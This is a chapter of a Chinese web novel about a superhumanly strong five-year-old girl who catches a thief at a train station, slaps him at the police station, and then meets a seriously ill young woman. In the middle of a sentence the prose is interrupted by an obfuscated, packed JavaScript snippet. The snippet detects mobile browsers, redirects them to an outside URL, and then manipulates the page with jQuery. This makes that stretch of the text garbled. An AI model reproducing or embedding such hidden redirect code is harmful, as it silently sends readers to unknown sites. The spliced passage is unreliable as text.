火车站附近人流量大,附近的公安局对于盗窃案件处理流程熟之又熟。档案室压了高高几摞未结悬案,都是失主的报案登记表。
今天轮到小高值守大厅工位。
在一阵喧哗声中,火车站穿着安保制服的保安反手扭送着一个人进来,后面乌拉拉跟着一群人。
被扭送着的人脸上血迹斑斑,大面积的挫伤让原本扭曲的五官看着更加恐怖。他不安分的左右扭摆,门牙没有了,大声叫唤着:“紧哒(警察),窝受到了人身伤孩(害),窝要包紧(报警)。”
小高压住嘴角,故作冷肃地问:“具体什么情况?这边登记下。”贼喊捉贼的情形经常见,面前这人估计是被抓现行了。
就是有点惨。
火车站保安和小高熟识,对他点点头,把人按在椅子上,“老实点!”又对小高说,“这个人在火车站行窃,被个小女娃人赃俱获抓住。”
小高看着腰高的女娃满眼不可置信,“你开玩笑呢,一个小孩,是跳起来踹他膝盖嘛。”
保安点点头,“真的。”
别说小高不相信,要不是亲眼看到,他也不相信,开始还以为是意外,当他看到程野把人踩脚底下,像螃蟹似的动弹不得,总算相信这个小孩大概有一身怪力。
小偷看登记员和保安你来我往,十分相熟的神色,心里恐慌不已,他今日大概是遭了。
他像临死挣扎的年猪,依旧不甘心:“泥们抓错人,窝才没偷,窝好好走路——”
“闭嘴,人赃俱获你还狡辩什么!”火车站保安员听见这人还不死心,死死按住他,他们火车站当保安的,就是负责旅客人身财产安全,这些社会边缘人扰乱火车站运营秩序,加重了安保压力,他们最烦遇到小偷。
于淡水把程野带出来,成了她的临时监护人,问询信息的时候他主动上前代程野回答。文胜男那边也将具体情况一一说出来。
两厢对阵,证据确凿。
良久,登记员小高看着资料表上填写的信息,单看每个字都认识,连在一起他怀疑自己的文字水平。要是他真这么登记呈表上去,领导看见了估计会怀疑他为了奖金杜撰业务。
他放下笔,跑过来蹲在程野面前,打量她。
左看右看,就是一个普通小女娃而已,最多白了点胖了点,完全看不出她的异常。
诉冬时看到小高过来,侧身挡在程野面前,防备地盯着他。
程野倒是不怕他,她是做好事,又不是做坏事的那个。“叔叔,登记好了吗?我们还要赶路。这个人你们会惩罚他吗?要坐牢几年?”
程野希望法律可以严惩这个小偷,明明老汉看着就是苦命人,还偏偏挑人下手,要不是她碰见了,这对父女以后的命运还不知道怎样。
“我再核实核实。”小高搓了把脸,满脸苦恼,小偷盗窃一事清楚明了,人证物证俱在,只是有点超出常理。急中生智下,他看到路过的领导,连忙跑上去将事情汇报,领导听到后转身走过来。
小偷脸上的血迹早就干涸,乌黑色的血迹凝固在脸上,显得人狰狞不已;佝偻局促的老汉,隐隐把小孩挡在身后,面色不安地看着他;一脸病色的女子,眼神坚定;一对老夫妻,从容不迫地护着两个孩子。
见过太多人,与不同人群打过交道,领导模样的男人心里对几人的身份情况有了大致猜测。
“小朋友,你试试看这个桌子能推动不?”领导简单粗暴地直接让程野推桌子,办公室的桌子都是实木大桌,重量几百斤,成年男子要两个人才勉强推动。
程野不知道这位领导的用意,她帮忙抓小偷,人性质属于好人好事范畴;再说她才五岁,在法律上属于无民事行为能力,哪怕把小偷打得重了点,《未成年保护法》也是站她这边。
看他一身正气,跟电视里演正派人物压邪祟的包公差不多,应该不是这小偷的保护伞。
但是千禧年时候社会治安和后世不同,扫黑除恶打老虎行动也没雷霆出击。她也不确定了。
程野绞着手指没动。
场面一时凝固下来。
小偷像抓住翻身的证据,神色张牙舞爪,“泥瞧,做贼心虚,窝才是受害者,官老爷一定要为我做主。”
“你才是摸摸客,你才是贼,那个布袋根本不是你的,你从大叔身上摸的,我都看到了。”
“谁说的,那个布袋就是窝的。布袋子上没名字,泥说是谁的就是谁的?泥喊它看它答应泥不?”
你从我身上抢走,你小小年纪不学好,你个抢劫犯!”小偷张牙舞爪,神色诡异大声诡辩,连漏风的门牙都不漏风了。
然而“抢劫犯”一出,顿时惹了众怒。
佝偻老汉涨红脸:“你乱说,那就是我的……”
文胜男也站出来,条理清晰地说:“那个布袋是我妈给老汉缝的用了几十年,上面用什么线,有什么纹路一清二楚;其次,布袋里面有什么,有多少,我们也一清二楚,你敢对峙吗?凭白污蔑人是诽谤罪,盗窃罪抢劫罪诽谤罪你多罪合一,我们要告你!”
连素来温和的高韵都忍不住爆粗口:“你个老逼登,我们家小野品性端良,你个吃粪的嘴吐不出一句好话。警察你们该好好查这个人,人赃并获还胡乱攀扯,要查查是不是后面还有更大的犯罪组织才让他到了警察局还有恃无恐……”
奶奶的,叔可忍婶不可忍,骂她抢劫犯,既然法律要走程序流程,那她先人工审判一下。
反正她“凶”名在外也不是一天两天了。
以前没有那个能力,现在有了能力,她再不想憋屈。
于是——
“啪——!”
“噗通!”
在众人七嘴八舌的争辩声中,响亮的巴掌声扼住了大家剩下的话,只见小偷男被扇得栽下板凳四仰八叉,像个乌龟在地上旋了几圈,同时两条鼻血顺着鼻孔缓缓流下来。
“!”
“!!”
领导不愧是当领导的,率先回过神,说了句“派出所请遵守秩序”,不再要求程野推桌子了。开玩笑,这还要推什么桌子,把一个成年男子从椅子上一巴掌扇飞出去,这是个普通小孩能做得出来的吗。
他对程野的兴趣比对盗窃案件更在意,出于人道主义,对小高吩咐说,“请所里的医生先给他止止血,直接带去看守所。”
小高想留下来,被领导看了一眼,他赶紧把地上的人拽起来拷上手铐带去医务室,快点把人送过去他要回来继续跟踪后续。
“为什么要打人?”
“他骂我抢劫犯。”
“他犯了法自有法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672802|172749||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
律惩罚,我们要文明守法爱好和谐,有事情和警察叔叔说。”领导其实心里暗暗夸赞打得好,但是他是伟光正的代表,当然要引导公民遵纪守法。
“他骂我抢劫犯,你们不打,难听。”
后面,无论领导怎么问,程野都只说“他骂我抢劫犯。”表现出一个真正五岁模样的小孩子的智商,领导见她像四季豆油盐不进,问不通,沟通无果。问多了,她抱着高韵,把头埋在高韵怀里,不再理人。
领导拿她没办法,只好问于淡水。
于淡水当然单方面护着程野,“她是个小孩子,品行好,人孝顺,就是脾气有点小孩子气。”
领导轻笑,“小孩子嘛,好好培养将来必有大出息。”余光暗暗观察程野,他与程野接触不多,但他直觉告诉他,这个小孩并不像表现出来的这么莽撞无知,她知道自己在干什么。
这个领导实际上是重案组退下来的,他身体受了伤,做不得高强度的捕抓侦查工作。但刚刚看到程野的巨大潜能,生起了爱才之心。如果她从小接受训练,假以时日必能成为一枚尖刀。
但也正是因为孩子太小,他无法干涉过多。留了于淡水的通信地址,打算以后再联系看看。程野直接在他这里备了案留下深刻印象。
“那个小偷会被惩罚吧?”临走时,程野问他。
“他会接受法律武器的严惩。”
“哦。”
“小孩子家家火气不要那么重。”领导想起家中叛逆期的儿子,忍不住唠叨。
“哦。”
嘁,挺高冷的小破孩!他笑着摇头。
从派出所出来,文胜男和父亲记下程野家的地址和于淡水家的电话,她们身上没有什么东西能感谢程野,老汉打算回家了把家里的鸡给程野送几只,年猪已经提前卖了,卖的钱都在布袋里要用来治病。
“我家有一片李子林,是脱骨李,吃起来像蜂蜜又甜又脆,叔明年摘了给你们送些尝尝。”老汉认真地说,他这辈子没什么大出息,一辈子的心血只有那片李子林,靠着这片李子林他养大了闺女,供她读完大学。
“如果有机会,我明年亲自送。”文胜男轻轻抱了抱程野,轻声说。
程野有些难过,她看着这个比前世的自己还小几岁的女孩,不知道生了什么病,言语中总是眷念着这个世界。
“你生的什么病?病历单有吗,我看看?我认识些医生,看能不能给你推荐。”于淡水原本不打算给文胜男看病,他主攻妇科+调理一道,西医方面他也不得其道。
打一照面,他就看出来女子情况不容乐观,整个人像漏了气的气球。
生气没了大半,像奄奄一息的烛火,在风中摇曳。
父女俩闻言,赶忙将文胜男一直背着的书包取下来,从里面掏出一叠病例报告和彩超。于淡水站在派出所门口对着太阳光看黑色的彩超,程野看不懂,她认得上面的字,在一些病例结果栏依稀看到“Ca?”的字样。
文胜男的情况并不乐观。
于淡水眉头紧锁,半晌他将视线从病例单转移到女孩面上。
文胜男忐忑中带着失望,一副早已知晓的表情。
于淡水:“你们和我一起去我朋友那里,让他给你看看,他是本地人,这边的圈子比我更熟悉,让他给你推荐。”